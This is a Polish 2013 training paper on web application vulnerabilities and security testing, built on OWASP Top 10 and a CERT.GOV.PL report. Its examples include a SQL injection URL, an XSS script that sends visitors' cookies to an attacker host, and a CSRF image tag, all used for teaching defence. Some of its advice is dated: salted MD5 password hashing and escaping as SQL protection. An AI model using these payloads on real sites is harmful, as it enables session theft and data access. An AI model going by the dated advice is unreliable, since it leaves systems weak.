TESTOWANIE POZIOMU BEZPIECZEŃSTWA

APLIKACJI INTERNETOWYCH Teoria i praktyka v. 1.0

HISTORIA ZMIAN 28.05.2013 v. 1.0 Antoni Orfin <aorfin@imagin.pl> Pierwsza wersja dokumentu.

Szkolimy team leaderów i zespoły programistyczne

2 | S t r o n a .com

SPIS TREŚCI Historia zmian ......................................................................................................................................................... 1

1. Wstęp .............................................................................................................................................................. 3

OWASP Top 10 2013 ........................................................................................................................................... 3

Raport o stanie bezpieczeństwa cyberprzestrzeni RP w 2011 roku .................................................................... 3

2. Podatności systemów webowych ................................................................................................................... 4

Injection – bezpośrednie wstrzykiwanie kodu .................................................................................................... 4

Cross-Site Scripting (XSS)..................................................................................................................................... 4

Cross-Site Request Forgery (CSRF) ...................................................................................................................... 5

Przechowywanie danych uwierzytelniających w postaci jawnej ........................................................................ 5

Niewłaściwie zaprojektowane mechanizmy rejestracji użytkowników, przypominania hasła, zmiany hasła .... 6

Przechowywanie ID sesji w adresie www ........................................................................................................... 6

Niezabezpieczony, bezpośredni dostęp do zasobów .......................................................................................... 7

Błędna konfiguracja środowiska ......................................................................................................................... 7

3. Zasady projektowania i rozwijania bezpiecznych aplikacji internetowych ..................................................... 9

Określenie wewnętrznych standardów dotyczących bezpieczeństwa ................................................................ 9

Przeprowadzanie regularnych testów bezpieczeństwa ...................................................................................... 9

Stworzenie środowiska testowego ..................................................................................................................... 9

Zastosowanie Web Application Firewall ............................................................................................................. 9

4. Obowiązujące standardy i dobre praktyki dotyczące testowania bezpieczeństwa serwisów ...................... 10

Open Source Security Testing Methodology Manual (OSSTMM) ..................................................................... 10

OWASP Testing Guide ....................................................................................................................................... 10

3 | S t r o n a .com

1. WSTĘP Niniejsza praca ma za zadanie przedstawić zagrożenia związane z bezpieczeństwem aplikacji internetowych.

Omawia najpowszechniejsze rodzaje zagrożeń, przykłady podatności i sposoby ochrony. Pozwoli na zapoznanie

się z ogólnymi zasadami, którymi powinny kierować się osoby odpowiedzialne za wytwarzanie systemów

webowych. Jest również bazą która pozwoli skuteczniej przeprowadzać audyty bezpieczeństwa.

Dokument opiera się na dwóch publikacjach, które zostały opisane poniżej:

OWASP TOP 10 2013

Raport o stanie bezpieczeństwa cyberprzestrzeni RP w 2011 roku

OWASP TOP 10 20131

Publikacja wydana przez organizacją OWASP2 (Open Web Application Security Project).

Głównym celem organizacji jest edukowanie programistów, architektów aplikacji i managerów

o konsekwencjach jakie niosą podatności aplikacji webowych. Jej członkami są kluczowe osoby związane

z branżą e-bezpieczeństwa. Aktualnym przewodniczącym organizacji jest Michael Coates, pełniący również

funkcję dyrektora ds. bezpieczeństwa w Mozilla Corporation.

Określa dziesięć najkrytyczniejszych i najpowszechniejszych rodzajów luk bezpieczeństwa aplikacji webowych.

Publikacja bazuje na danych zebranych w czterech firmach konsultingowych i narzędziach do automatyzacji

procesu testowania bezpieczeństwa. Zebrane dane obejmują ponad 500.000 wykrytych podatności. Zostały one

sklasyfikowane do dziesięciu kategorii, ich priorytet został określony na bazie powszechności występowania,

możliwościach ich wykorzystania, wykrywalności i przewidywanym ryzyku, które niosą.

RAPORT O STANIE BEZPIECZEŃSTWA CYBERPRZESTRZENI RP W 2011 ROKU3

Raport opracowany przez Rządowy Zespół Reagowania na Incydenty Komputerowe CERT.GOV.PL.

CERT.GOV.PL jest zespołem powołanym w 2008 roku. Do jego podstawowych zadań należy zapewnianie

i rozwijanie zdolności jednostek organizacyjnych administracji publicznej Rzeczypospolitej Polskiej do ochrony

przed cyberzagrożeniami, ze szczególnym uwzględnieniem ataków ukierunkowanych na infrastrukturę

obejmującą systemy i sieci teleinformatyczne, których zniszczenie lub zakłócenie może stanowić zagrożenie dla

życia, zdrowia ludzi, dziedzictwa narodowego oraz środowiska albo spowodować poważne straty materialne,

a także zakłócić funkcjonowanie państwa.

Raport w szczegółowy sposób omawia statystyki incydentów zarejestrowanych przez zespół, w tym system

ARAKIS-GOV4.

1 www.owasp.org/index.php/Top_10_2013

2 www.owasp.org

3 www.cert.gov.pl/download/3/137/Raport_roczny_2011_.pdf

4 arakis.cert.pl/pl/index.html

4 | S t r o n a .com

2. PODATNOŚCI SYSTEMÓW WEBOWYCH

INJECTION – BEZPOŚREDNIE WSTRZYKIWANIE KODU

Atak polega na wstrzyknięciu niezaufanego kodu, który następnie jest bezpośrednio wykonywany przez

aplikację webową. Najpowszechniejszym atakiem tego typu jest SQL Injection. Polega on wstrzyknięciu do

zapytania SQL, budowanego przez aplikację webową, kwerendy atakującego.

W raporcie zespołu CERT.GOV.PL podatność uklasyfikowała się na drugim miejscu pod względem liczby

wystąpień. Znalazła się w kategorii błędów o najwyższym poziomie zagrożenia.

PRZYKŁAD

Strona umożliwia pobranie z bazy danych artykułu na podstawie jego ID przekazanego w parametrze Query

String.

www.strona.pl/artykuly?id=12

SELECT * FROM artykuly WHERE artykul_id=”12”;

Gdy parametr „id” nie zostanie przefiltrowany możliwe będzie wykonanie ataku, który spowoduje

spreparowania zapytania SQL do bazy:

www.strona.pl/artykuly?id=12”; SELECT * FROM użytkownicy; --

SELECT * FROM artykuly WHERE artykul_id=”12”; SELECT * FROM użytkownicy; --”;

OCHRONA Każde dane pochodzące „z zewnątrz” należy filtrować po stronie serwera. Filtrowanie może polegać na

usuwaniu niebezpiecznych znaków, lub ich odpowiednim escape’owaniu (np. opuszczanie cudzysłowów,

apostrofów w danych używanych przy zapytaniu SQL).

Należy pamiętać, że ich obsługa po stronie klienta (np. za pomocą skryptów JavaScript) nie jest wystarczająca –

atakujący nie będzie miał problemu, aby spreparować fizyczne żądanie do aplikacji serwerowej.

CROSS-SITE SCRIPTING (XSS)

66% podatności wykrytych przez zespół CERT.GOV.PL dotyczyła ataków typu Cross-Site Scripting – XSS.

Ten rodzaj podatności występuje gdy dane odebrane z zewnątrz (np. wysłane przez użytkownika w formularzu,

przekazane w żądaniu HTTP) nie są odpowiednio filtrowane przed zwróceniem do przeglądarki klienta.

Atak umożliwia wykonanie kodu HTML i JavaScript na podatnej stronie. Dzięki niemu atakujący ma m.in.

możliwość przechwycenia sesji użytkownika, przekierowania na inną stronę lub wyrenderowania własnego

kodu HTML, który w efekcie zmieni wygląd strony (deface).

PRZYKŁAD W naszej aplikacji użytkownicy mogą dodawać komentarze do wpisów. Atakujący wysyła komentarz

zawierający treść:

<script>document.write('<img

src="http://www.haker.pl/p.gif?c='+document.cookie+'">');</script>

Komentarz wyświetla się na stronie. W efekcie zawartość Cookies kolejnych odwiedzających zostaje w sposób

niewidoczny wysyłana i zapisywana na serwerze atakującego.

5 | S t r o n a .com

OCHRONA

Filtrowanie danych wyjściowych – domyślnie wszystkie niezaufane dane wyjściowe powinny być

filtrowane. Tagi HTML mogą być usuwane lub escape’owane.

Zastosowanie whitelisty tagów – czasami pożądane jest gdy zewnętrzne treści zawierają niektóre tagi

HTML (np. podstawowe formatowanie tekstu). Możliwe jest zastosowanie listy tagów dozwolonych.

Należy pamiętać, że dodatkowo w tej sytuacji trzeba wykorzystać mechanizmy pozwalające na

uporządkowanie i walidowanie kodu HTML. Może się zdarzyć sytuacja, gdy użytkownik np. nie

domknie tag’a HTML co w efekcie spowoduje drastyczną zmianę wyglądu naszej strony (deface).

CROSS-SITE REQUEST FORGERY (CSRF)

Atak tego typu pozwala na zdalne wykonywanie akcji aplikacji internetowej przez atakującego. Po przez

niezabezpieczenie akcji mających skutki uboczne (np. usuwanie, modyfikowanie, dodawanie zasobów) możliwe

jest osadzenie na stronie obrazka, skryptu JavaScript, arkusza stylów CSS odnoszącego się bezpośrednio do

podatnej akcji i jej wykonanie.

Podatność umożliwia również zatwierdzanie niezabezpieczenia formularzy metodą POST.

Atak jest szczególnie groźny w połączeniu z podatnością typu XSS gdzie istnieje możliwość jego osadzenia

bezpośrednio na „oryginalnej” stronie.

PRZYKŁAD W aplikacji dostępna jest akcja natychmiastowego usuwania użytkowników za pomocą kliknięcia na link

postaci:

www.strona.pl/uzytkownicy/usun?id=5

Atakujący może osadzić obrazek z powyższym linkiem na swojej stronie:

<img src=”http://www.strona.pl/uzytkownicy/usun?id=5”>

Każde wejście na stronę atakującego spowoduje żądanie o stronę usuwania użytkownika. Jeżeli aktualnie

jesteśmy zalogowani na podatnej stronie, akcja zostanie w sposób niewidoczny wykonana.

OCHRONA

Używanie tokenów zabezpieczających – doklejanie do linków specjalnych, losowych tokenów

walidowanych po stronie serwera. Należy je również dodawać jako niewidoczne pola (typ „hidden”) do

wszystkich formularzy aplikacji. Tokeny do porównania można zapamiętywać w sesji użytkownika.

Używanie metody POST do akcji mających „skutki uboczne” – akcje zmieniające stan aplikacji nie

powinny być możliwe do wykonania po przez żądanie GET. Powyższe zalecenie jest również określone

w samej specyfikacji protokołu HTTP/1.1 - RFC 26165. Należy pamiętać, że samo używanie metody

POST nie zabezpieczy aplikacji przed atakiem CSRF.

PRZECHOWYWANIE DANYCH UWIERZYTELNIAJĄCYCH W POSTACI JAWNEJ

Zapisywanie w bazie danych hasła użytkownika w formie jawnej (czysty tekst).

Po uzyskaniu przez atakującego dostępu do bazy danych uzyskuje on pełną informację o użytkownikach

i możliwość zalogowania się na ich konta.

5 www.ietf.org/rfc/rfc2616.txt - rozdział „13.9 Side Effects of GET and HEAD”

6 | S t r o n a .com

Należy zwrócić również uwagę, że większość użytkowników używa tego samego hasła w wielu usługach.

Poznanie go w naszej aplikacji może spowodować możliwość włamania się do kont użytkownika w innych

miejscach – np. na skrzynkę e-mail.

PRZYKŁAD 30 września 2011 roku atakujący po przez wykorzystanie wcześniej opisanego błędu SQL Injection dostali listę

haseł użytkowników ponad 300 witryn samorządowych. Hasła zostały zwrócone w postaci jawnej. Atakujący

mieli pełną możliwość wykorzystania poznanych danych do dalszych kroków ataku.

OCHRONA Najprostszą i wysoce skuteczną metodą na uniknięcie wycieku haseł jest zapisywanie w bazie danych hasha

(jednokierunkowa funkcja skrótu) z hasła, dodatkowo zabezpieczonego unikalną dla użytkownika „solą”.

HASH = MD5(„hasło użytkownika” + „losowa sól użytkownika”)

Uniemożliwi to wykorzystanie np. Rainbow Tables do znalezienia odpowiadających hash’ów. Posiadając dużą

aplikację, zarządzającą wieloma kontami użytkowników w bazie, może się zdarzyć, że kilka osób będzie

posiadało to samo hasło. Dzięki dodaniu unikalnej dla użytkownika soli utrudnimy atak – gdyby atakującemu

udało się poznać parę hasło – hash jednego z użytkowników nie miałby możliwości wykorzystania tych

informacji do włamania się na konta innych z tym samym hasłem (posiadali by oni inne hashe).

NIEWŁAŚCIWIE ZAPROJEKTOWANE MECHANIZMY REJESTRACJI UŻYTKOWNIKÓW,

PRZYPOMINANIA HASŁA, ZMIANY HASŁA

Najpowszechniejszą metodą zmiany hasła lub jego przypomnienia jest wysłanie na adres e-mail użytkownika

wiadomości zawierającej adres ze specjalnym tokenem.

Niezastosowanie mechanizmów wygasania tokena może dać większe możliwości na atak na konta

użytkowników. URL z tokenem zostaje zapamiętany w historii przeglądarki, logach serwera, wiadomościach

e-mail użytkownika – istnieje wiele potencjalnych ścieżek na jego poznanie.

PRZYKŁAD Użytkownik „Jan123” rok temu zapomniał swojego hasła do serwisu dlatego użył mechanizmu przypomnienia

hasła. Na jego skrzynkę e-mail doszła wiadomość z linkiem zawierającym token zmiany hasła. Będąc

świadomym użytkownikiem internetu, Jan usunął wiadomość ze swojej skrzynki odbiorczej. W tym czasie Jan

zmienił swoje konto pocztowe.

Niestety atakujący uzyskał dane dostępowe do starego konta e-maila Jana. W folderze „usuniętych” odnalazł

wiadomości z serwisu. Po testach okazało się, że dawne URLe zmiany hasła dalej działają. Haker uzyskał

możliwość zmiany hasła Jana.

OCHRONA

Ustawianie czasu życia tokenów.

Zmiana tokena po jego wykorzystaniu – natychmiast po wykorzystaniu tokena (np. po zastosowaniu

zmiany hasła, aktywacji konta) należy go dezaktywować lub usunąć.

PRZECHOWYWANIE ID SESJI W ADRESIE WWW

Gdy ID sesji przekazujemy w URL aplikacji, możliwy jest jego łatwy, przypadkowy wyciek. Szczególnie dotyczy to

aplikacji społecznościowych, nastawionych na wymianę linków pomiędzy użytkownikami. Po poznaniu ID sesji

atakujący uzyskuje dostęp jako zalogowany użytkownik.

7 | S t r o n a .com

PRZYKŁAD Jan złożył rezerwację na wycieczkę w serwisie turystycznym. Chcąc pochwalić się znajomym, wysłał do nich

adres strony oferty – www.travel.pl/oferta?id=12&sessionID=539yengwal4432567. Po wejściu na URL znajomi

Jana zobaczyli, że są zalogowani na jego konto, z którego mogli m.in. odwołać jego zamówienie.

OCHRONA Najprostszą i skuteczną metodą zabezpieczenia jest przekazywanie tego typu parametrów w cookies.

NIEZABEZPIECZONY, BEZPOŚREDNI DOSTĘP DO ZASOBÓW

Podatność występuje, gdy w niewłaściwy sposób jest sprawdzane czy dany użytkownik jest uprawniony do

dostępu do żądanego zasobu.

Dotyczy to modułów aplikacji, konkretnych podstron, akcji w których biorą udział „obiekty” - zasoby systemu

(np. dane pobierane z bazy danych).

PRZYKŁAD 1 Pewny sklep internetowy umożliwia podgląd historii dokonywanych przez siebie zamówień. Dostęp odbywa się

po przez adresy typu www.strona.pl/moje-zamowienia?id=12.

Po przez podmianę parametru ID możliwe jest zobaczenie zamówienia innych osób. Nie jest sprawdzane czy to

zalogowany użytkownik jest właścicielem zamówienia o danym ID. Dzięki temu, że ID zamówień powstają na

zasadzie autoinkrementacji łatwe jest zgadnięcie identyfikatorów innych.

PRZYKŁAD 2

Popularnym frameworkiem aplikacji webowych pisanych w języku PHP jest Symfony. Jego domyślna ścieżka do

panelu administracyjnego to /backend.php.

Podmiana URLa na www.strona.pl/backend.php spowoduje przejście do panelu administracyjnego aplikacji.

OCHRONA

Używanie mechanizmów autoryzacji – należy zawsze sprawdzać czy użytkownik posiada odpowiedni

poziom uprawnień do żądanego zasobu.

Nieużywanie „jasnych” identyfikatorów zasobów - dla zasobów krytycznych możliwe jest używanie

identyfikatorów typu UUID6 zamiast standardowych, autoinkrementowanych wartości. Dzięki temu

spowodujemy również, że użytkownicy nie dowiedzą się o danych statycznych naszej aplikacji – np.

ilości zamówień w sklepie internetowym. ID = 12 może oznaczać, że w sklepie złożono dotychczas

12 zamówień.

Dostęp do zasobów powinien być domyślnie ustawiony na „zabroniony” – udzielenie dostępu

powinno być świadome.

BŁĘDNA KONFIGURACJA ŚRODOWISKA

Podatność dotyczy wszystkich poziomów aplikacji webowej – serwera, frameworka aplikacji, kodu aplikacji.

Z raportu zespołu CERT.GOV.PL wynika, że najczęściej występujące błędy sieci administracji publicznej związane

są z opisywaną podatnością.

Raport o stanie bezpieczeństwa cyberprzestrzeni RP w 2011 roku – Rozdział 2.4

6 en.wikipedia.org/wiki/Universally_unique_identifier

8 | S t r o n a .com

Do najczęstszych błędów wykrytych podczas testów zabezpieczeń sieci i zasobów teleinformatycznych

wewnętrznych instytucji należą:

- Błąd konfiguracyjny polegający na uruchomieniu usług serwerowych zawierających ustawione domyślne dane

autoryzacyjne w postaci domyślnego hasła dla użytkownika z uprawnieniami administracyjnymi (serwery

WWW, serwery bazodanowe).

- Błąd konfiguracyjny polegający na pozostawieniu aktywnym konta administratora lokalnego na systemach

z rodziny systemów Windows działających w ramach Active Directory.

- Brak aktualizacji zainstalowanego oprogramowania na systemach serwerowych jak i brak aktualizacji samych

systemów operacyjnych w sieci lokalnej.

PRZYKŁAD 1 W efekcie włączonej domyślnie opcji listingu plików możliwe jest podejrzenie plików obecnych w folderach na

serwerze. Niektóre pliki nie zostały poprawnie zabezpieczone przez zespół programistów i możliwe jest

otworzenie pliku „config.ini” zawierającego dane dostępowe do serwera baz danych.

PRZYKŁAD 2 W czasie żądania do aplikacji internetowej nie udało się uzyskać połączenia z bazą danych. Zespół zapomniał na

środowisku produkcyjnym wyłączyć pokazywanie szczegółów błędów aplikacji. W efekcie użytkownik dostał

pełną informację o przebiegu błędu wraz ze szczegółami danych za pomocą których próbowano nawiązać

połączenie – nazwę użytkownika i hasło bazy danych.

OCHRONA

Posiadanie aktualnych wersji oprogramowania - opracowanie standardu procesu aktualizacji

oprogramowania (biblioteki, framework, skrypty, moduły zewnętrzne).

Wyłączenie, odinstalowanie wszystkich niepotrzebnych „furtek” do systemu – usunięcie domyślnych

kont administracyjnych, zablokowanie portów, usunięcie testowych serwisów, skryptów, aplikacji.

Zmiana domyślnych danych dostępowych – zmiana domyślnych systemowych (lub dla zastosowanego

frameworka aplikacji webowej) haseł do kont administracyjnych.

Ustawienie poziomu zwracania informacji o błędach - wyłączenie zwracania użytkownikowi

szczegółowych informacji o błędach aplikacji, w tym „stack traces” (przebieg błędu w kodzie). Dzięki

temu zmniejszy się ryzyko ujawnienia niepożądanych danych – np. komunikat błędu połączenia do

bazy danych może ujawnić dane dostępowe, którymi aplikacja próbowała się uwierzytelniać.

Odpowiednie ustawienia w plikach konfiguracyjnych – właściwe ustawienie konfiguracji środowiska,

szczególnie związanej z uprawnieniami dostępu.

Modułowa architektura aplikacji – zastosowanie modułowej budowy, która zapewni, że nawet

w przypadku uzyskania nieuprawnionego dostępu do jednej części inne będą bezpieczne.

9 | S t r o n a .com

3. ZASADY PROJEKTOWANIA I ROZWIJANIA BEZPIECZNYCH APLIKACJI

INTERNETOWYCH

OKREŚLENIE WEWNĘTRZNYCH STANDARDÓW DOTYCZĄCYCH BEZPIECZEŃSTWA

Oprócz opracowania typowych standardów programistycznych (Code Quality) należy wyznaczyć analogiczne

związane z bezpieczeństwem. Będzie to wyznacznik dla zespołu programistów, z którego będzie można ich

następnie kontrolować.

PRZEPROWADZANIE REGULARNYCH TESTÓW BEZPIECZEŃSTWA

Aplikacja powinna być stale poddawana audytom (testom penetracyjnym) przez zewnętrzny, niezwiązany

z osobami ją wdrażającymi, zespół.

STWORZENIE ŚRODOWISKA TESTOWEGO

Rozwój aplikacji powinien odbywać się na środowisku testowym, które jest jak najwierniejszą kopią środowiska

produkcyjnego.

Dopiero po fazie testów zmiany powinny być wdrażane na środowisko produkcyjne. Nieprzetestowane

fragmenty nie powinny być dostępne „z zewnątrz”.

ZASTOSOWANIE WEB APPLICATION FIREWALL7

Możliwe jest zainstalowanie aplikacji działającej jako Firewall przed aplikacją webową. Filtruje ona żądanie

HTTP na podstawie zdefiniowanych reguł. Dzięki temu można łatwo automatycznie wyłapać klasyczne ataki

typu XSS, SQL Injection itp.

Popularne rozwiązania:

Modsecurity8- darmowe, Open Source’owe, narzędzie. Posiada predefiniowane filtry, jednak istnieje

możliwość dogrania własnych. Darmowy zestaw filtrów bazujących na raporcie OWASP:

http://spiderlabs.github.io/owasp-modsecurity-crs/

Cloudflare9 - płatna usługa posiadająca rozbudowane możliwości „security”. Oprócz tradycyjnych

możliwości WAF potrafi również zabezpieczyć przed atakami DDoS.

7 www.owasp.org/index.php/Web_Application_Firewall

8 www.modsecurity.org

9 www.cloudflare.com

10 | S t r o n a .com

4. OBOWIĄZUJĄCE STANDARDY I DOBRE PRAKTYKI DOTYCZĄCE TESTOWANIA

BEZPIECZEŃSTWA SERWISÓW Na rynku istnieje wiele gotowych publikacji opisujących metodyki testów bezpieczeństwa. Są to tzw.

frameworki – kompletne opisy krok po kroku w jaki sposób należy się przygotowywać do testów, jak je

przeprowadzać i jak wyciągać z nich wnioski – włącznie z gotowymi szablonami raportów.

Poniżej opisane zostały najpopularniejsze prace.

OPEN SOURCE SECURITY TESTING METHODOLOGY MANUAL (OSSTMM)10

Dokument zawiera opisy dokonywania testów bezpieczeństwa na poziomie całej organizacji. Są w nim opisane

metodyki obowiązujące przy testach:

Bezpieczeństwa fizycznego – zapewnienie fizycznego bezpieczeństwa organizacji. Kontrola dostępów,

dostępność firmowych zasobów, zapewnienie rozgraniczenia pomiędzy zasobami prywatnymi

a firmowymi, kontrola poziomów uprawnień pracowników.

Bezpieczeństwa na poziomie osobistym - ochrona przed atakami socjotechnicznymi (inżynieria

społeczna).

Bezpieczeństwa sieci bezprzewodowych – zapewnienie, aby niepowołane dane nie przedostały się na

zewnątrz przedsiębiorstwa drogą bezprzewodową.

Bezpieczeństwo sieci telekomunikacyjnych – zabezpieczenia skrzynek głosowych, urządzeń VOIP, FAX,

tradycyjnych telefonów.

Bezpieczeństwo w sieci internet – m.in. testy serwerów, aplikacji internetowych, serwerów baz

danych, poczty elektronicznej.

Zawiera gotowe szablony raportów przeznaczone dla kadry wyższego szczebla (executive summary) opisujące

główne, biznesowe aspekty przeprowadzonych testów.

OWASP TESTING GUIDE11

Publikacja zawiera metodykę testowania aplikacji webowych. Skupia się na sposobie przeprowadzania testów

penetracyjnych.

Opisuje:

Techniki i narzędzia stosowane przy testowaniu bezpieczeństwa aplikacji internetowej

Zbieranie informacji o testowanej aplikacji (rekonesans środowiska)

Testy:

o Uwierzytelniania, autoryzacji

o logiki biznesowej

o walidacji danych

o ataków typu Denial of service (DDoS)

o zarządzania sesjami

o web-services (SOA - Service Orientated Architecture)

o mechanizmów AJAX

Określanie ryzyka wykrytych podatności

10

www.isecom.org/research/ 11

www.owasp.org/index.php/OWASP_Testing_Project